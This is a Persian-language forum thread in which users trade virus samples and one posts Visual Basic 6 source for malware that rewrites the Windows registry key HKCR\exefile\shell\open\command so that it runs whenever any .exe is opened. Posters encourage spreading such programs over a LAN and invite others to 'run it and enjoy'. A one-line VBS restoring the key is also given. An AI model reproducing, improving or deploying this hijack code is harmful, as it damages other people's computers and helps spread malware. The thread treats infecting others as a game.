ايران ويج

صفحه‌ها: 1 2 3

اینم به آرشیو ویروس هاتون اضافه کنید .
اسم نداره . Biggrin

اینم ویروس جدیدی که از طریق مسنجر منتشر میشه . Biggrin

arnh نوشته است:اینم ویروس جدیدی که از طریق مسنجر منتشر میشه .

با شه انقدر صبر می کنیم تا زیر پامون علف صبز شه :lol:
راستی اگر خواستی پاسورد فایل زیپت رو بزار :whistle:
چون ممکنه همه انقدر مثل من بیکار نباشند تا با امتحان چند تا کلمه به 123456 برسند (شاید هم باهوش) Question

ای بابا آنتی هم که میشناسدش!!!
پس بگو دیروز (یا پریروز) علت آپ دیت شدن خودکار 350 کیلوبایتی آنتی چی بود.

Darg نوشته است:با شه انقدر صبر می کنیم تا زیر پامون علف صبز شه :lol:

Darg نوشته است:راستی اگر خواستی پاسورد فایل زیپت رو بزار :whistle:
چون ممکنه همه انقدر مثل من بیکار نباشند تا با امتحان چند تا کلمه به 123456 برسند (شاید هم باهوش) :question:

دستت درد نکنه . Amaze

مسلم هستش که شما خیلی باهوش تشریف دارید Biggrin

arnh نوشته است:
Darg نوشته است:با شه انقدر صبر می کنیم تا زیر پامون علف صبز شه :lol:

حقیقتش رو گفتم
فعلا که اینطوریه

arnh نوشته است:
Darg نوشته است:راستی اگر خواستی پاسورد فایل زیپت رو بزار :whistle:
چون ممکنه همه انقدر مثل من بیکار نباشند تا با امتحان چند تا کلمه به 123456 برسند (شاید هم باهوش) :question:
دستت درد نکنه .
مسلم هستش که شما خیلی باهوش تشریف دارید

اختیار دارید هوش (اون هم خیلی) از خودتونه که میون این همه معرفترین و رند ترین پسورد رو انتخاب کردید. اگه من نبودم باید با ابر کامپیوتر دی کدش می کردند

آقا یه با مرامی بیاد سورس vb اونو بده

اینم یه ویروس جدید .
واسه اونایی که می خوان توی LAN ویروس منتشر کنن . از این ویروس می تونن استفاده کنند . Exclamation

[attachment=483]

baba damet garm terekoondi

کد: 
Option Explicit

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory 

As String, ByVal nShowCmd As Long) As Long

----------------------------------

Private Sub Form_Load()

Call Install

Command$

Dim RestoreSetting As String

Dim a As Object

Dim B As Object

    RestoreSetting = Chr$(34) + "%1" + Chr$(34) + " %*"

    Set a = CreateObject("wscript.shell")

    Set B = CreateObject("scripting.filesystemobject")

    If Command$ <> vbNullString Then

    a.regwrite "HKCR\exefile\shell\open\command\", Chr(34) + "%1" + Chr(34) + " %*"

    ShellExecute Me.hWnd, "open", Command$, "", "", vbNormalFocus

    Call Install

    Unload Me

End If

End Sub

------------------------------------------

Public Sub Install()

Dim a As Object

Dim B As Object

Dim Setting As String

Dim Original As String

Setting = Chr$(34) + "%1" + Chr$(34) + " %*"

Set a = CreateObject("wscript.shell")

Set B = CreateObject("scripting.filesystemobject")

    Original = a.regread("HKCR\exefile\shell\open\command\")

    If Original = Setting Then

    a.regwrite "HKCR\exefile\shell\open\command\original", Setting

    a.regwrite "HKCR\exefile\shell\open\command\", B.buildpath(App.Path, App.EXEName & ".EXE %1 %*")

    End If

End Sub

---------------------------------------

Private Sub tmrtimer_Timer()

Call drawshape

End Sub

مقدار تایمر Interval = 0

فقط بزنین حالشو ببرید

کد: 
set shl=createobject("wscript.shell")

shl.regwrite "HKCR\exefile\shell\open\command\",Chr(34) + "%1" + Chr(34) + " %*"

این هم آنتیش فقط باید .vbs باشه ها

ويروسی که با يک خط آنتيش نوشت بشه ويروس نيست Whistle

البته ویروس دیگه عامیانه شده . و منظور هم همون بد افزاره .
چه اشکالی داره آنتیش با یک خط نوشته بشه؟! ..
مسئله اذیت کردن یا آسیب رسوندن هست . که این کار رو می کنه . Clap

فقط یه نکته این ویروس شما چون از اسکریپت استفاده می کنه . آنتی ویروس ها بدون آپدیت هم می تونن تشخیصش بدن .

صفحه‌ها: 1 2 3

arnh

arnh

Darg

arnh

Darg

xxxroozbehxxx

arnh

Scorpion

avini

impostor

arnh